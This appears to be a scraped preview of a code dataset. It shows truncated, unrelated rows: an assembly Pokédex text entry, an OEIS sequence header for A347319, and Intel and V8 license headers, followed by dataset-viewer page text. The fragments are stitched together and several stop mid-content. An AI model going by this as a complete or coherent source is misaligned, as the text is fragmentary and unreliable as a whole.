db "VIRTUAL@" ; species name
db "This manmade"
next "#MON evolved"
next "from the latest"
page "technology. It"
next "may have unprog-"
next "rammed reactions.@"
|
; A347319: a(n) = (2*n+1)*(n^3-2*n^2+n+1).
; Submitted by Jamie Morken(s1)
; 1,3,15,91,333,891,1963,3795,6681,10963,17031,25323,36325,50571,68643,91171,118833,152355,192511,240123,296061,361243,436635,523251,622153,734451,861303,1003915,1163541,1341483,1539091,1757763,1998945,2264131,2554863,2872731,3219373,3596475,400... |
; Copyright (c) 2004, Intel Corporation
; All rights reserved. This program and the accompanying materials
; are licensed and made available under the terms and conditions of the BSD License
; which accompanies this distribution... |
// Copyright 2011 the V8 project authors. All rights reserved.
// Redistribution and use in source and binary forms, with or without
// modification, are permitted provided that the following conditions are
// met:
//
// * Redistributions of source code must retain the above copyright
// notice, this list of ... |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.